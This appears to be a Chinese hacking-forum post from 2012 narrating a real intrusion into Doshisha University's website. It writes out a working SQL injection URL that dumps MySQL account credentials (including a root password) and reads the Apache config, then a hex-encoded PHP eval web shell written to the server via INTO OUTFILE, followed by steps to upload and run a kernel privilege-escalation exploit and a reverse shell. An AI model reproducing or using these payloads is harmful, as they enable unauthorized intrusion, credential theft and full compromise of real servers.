找回密码
 立即注册
查看: 3346|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析- M5 j# E9 |* c" y

" I+ v- {/ i' p5 H  yhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1# ?$ h- V3 ?. r3 a; H
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:/ ?9 D0 t- U; q! ?

0 \& L. w) q0 v. A1 K- L0 hhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
& t* ^# Z6 f) B: Q& T0 T
2 ?' p+ K5 q) c
  z1 h& W: z+ W0 B. o
0 l) X' ~" K: c. a//@@datadir为数据库文件路径 8 s8 d3 y2 K; u# K  \4 V; ^& E* g
6 ?: Z- Y# ^, x7 l
$ U; C8 @2 \7 Z0 T
//load_file读取网站容器apache的配置文件
$ W" ?; s) ]+ ~  Z ! t' W& X/ Q/ w. Z1 z. l# Y( k

/ x$ k/ q, O8 O. x% f; S% p//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 - O0 U$ N) j0 N. `# M
复制代码
* j  x7 [% q  W9 y7 j
5 @  C" T: s2 {8 s- l0 x虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。+ ~5 c% C  z& w3 a% _  ?& h

; a0 G/ S, f5 g+ [- {8 L而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
! c3 s5 I  \+ `8 x$ ?7 j! S0 _(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
* O: A8 M/ o: p4 l3 p9 n
: M0 m0 F; M+ e0 ^3 o$ H, O前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
& F& l7 `! z: @' B% G1 [如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
$ P$ [- r2 @. E( P2 r6 Y: m. Z6 Z* M7 C; O& R5 q5 T
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/: \: N0 c9 _: R9 [
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。2 s& p0 D: P6 M
直接写一句话:/ K) u$ v# N% [: K0 I% g- c' q

4 e; r9 n' f: Ohttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#) L  H7 W& T3 y! p& {8 E( f
4 R* P3 s- z* `$ H5 c! @* S/ O4 x
& k" t( I& n6 {4 G
5 h6 E! r; |% |! ^8 c* g+ h; Y
//最后的#是为了闭合前面的语句 " [* G9 Q. j+ D' m

7 O. G" H" V" {% @% V( l+ h# g5 N5 R* E6 v, A/ H
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
7 E) P, N' r) q9 P* j2 I: z' o
7 t& M/ Y  `* ?+ q" E1 E2 J2 {' x8 O% A9 M, D7 V0 N
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 3 f( ]; g) C9 k) E+ A) w4 \1 z
2 o! g7 }2 N5 u7 U
/ d" v- m; d: A! j) h7 n7 `& h
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
1 e0 u( O! I7 M- [7 B , B, J% {4 r6 P  h- [+ C3 L0 J

: _. l6 e. j4 K( l0 {//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
% q0 L3 }. b/ R  _//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
7 `  S9 q+ q; X8 @6 j6 K; H  _复制代码0 B! J9 {; X" h0 r
+ b% |$ q3 L1 |$ @  W
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有7 n( T, M' X- U( j
通过上述注入语句,我们就得到了一句话木马:& ]4 H% y5 Y% x, \5 O5 \) o* D

% W2 }! ~/ j5 g/ g , ^9 Q6 x7 S' |9 P
; _9 e) i2 d4 ~, q( }

$ |# N1 h6 J$ S. C, ?; r, C& ?
" a* c& G+ {: R9 o! n& O  ahttp://www.doshisha.ac.jp/english/engnews_img/aa.php " P8 [. Y, ~9 [) k
复制代码
  I2 f2 p8 h5 e3 J
' ?  Z  i5 L# F4 k用菜刀连接,密码是cmd,如图所示:+ u! q" W0 O7 P5 Y! Y
然后在命令提示行里看了一下,现在的权限是:" [5 G7 B3 `% \* e" T( x

4 Y" }- ?: s; m, y/ t1 G5 a之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。  `0 T* d/ {  N8 ~6 H7 H! Z
好在赋权给这个文件夹不需要root,直接执行赋权语句:+ ~) S" U7 T; J* z4 [( x

5 |! S( B2 ]" }, c7 z* ~2 T5 Y$ A 4 Z( M6 q9 m# G) n. z; U& s
+ D8 o# t0 t$ i6 u9 ]7 r
" B0 @  A. t! c& V5 ]  f
. p/ D0 o8 \3 `0 U! L3 g3 S# _
chmod +x /tmp/ + o" B) B, k& i: m4 u; \7 a3 v# x" F
复制代码
* |1 E7 Z5 O% n  `, X; O2 z6 B. D, E1 k# L7 \6 o8 f/ ?& s" v# ~
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行  {) e7 k; H: ^8 W( ]9 _& _
然后就查了一下内核版本:# e8 Q# F9 P1 M4 a5 s7 W/ Y+ }
* R' V; N' m- s+ Z) }7 M
* }6 X' x( N% S. i( g
+ B* J8 C' z7 r, Z0 N
; K; C1 i% s" k# M

7 C* v& c% \( u( x5 \1 u- cuname-a
; }7 B# \( @* S% F: F$ V
, V/ P0 ~: T# i' x% O2 I: E2 @- j! e! B) F3 g, Y
//其实lsb_release -a
; l2 F6 {' c7 C" }  A' o复制代码
8 o* l" Y5 Z6 J, a% c( d
) z$ S* }1 D- ?1 J) S8 v& G如图所示:
' M7 v% }$ q0 v; b! M) l3 X& E* P
内核版本:linux mainz1 2.6.28-194.e159 l/ [7 t  ]* w; o+ G3 F
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
: F1 ~6 D0 Q: p1 k- p! G; C查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
7 T) G8 [+ Y9 A5 e. r# K. j# I+ g( b$ r' p7 L+ @1 w
然后给予执行权限4 a+ L4 [$ O+ o+ E% Y5 z) s; V
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样) W8 l8 R% u: x# t6 s- \
( r& U* r2 c; a; Y+ U

8 g: Q  V; q. A5 d# p) X1 o: H# B; t! R

/ p! V/ X$ l: j+ V$ ]7 o& @) m6 p7 H4 ^& A$ W1 b, @: l# V$ s
chmod +x /tmp/2.6.18-194
& ?  p' a8 t# m& r9 R& P复制代码 然后直接执行!~
& G. c4 d0 p; I5 l4 _  U* n4 s
( R& g: l& N! @- M) L总结:
3 F+ E) F8 m5 |& _! t6 h9 [这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
. f$ P7 A& `3 n: A0 M提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root& L: g6 Z! z  A5 x& P0 q3 V: R
& k1 }  }9 B6 W* |% x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表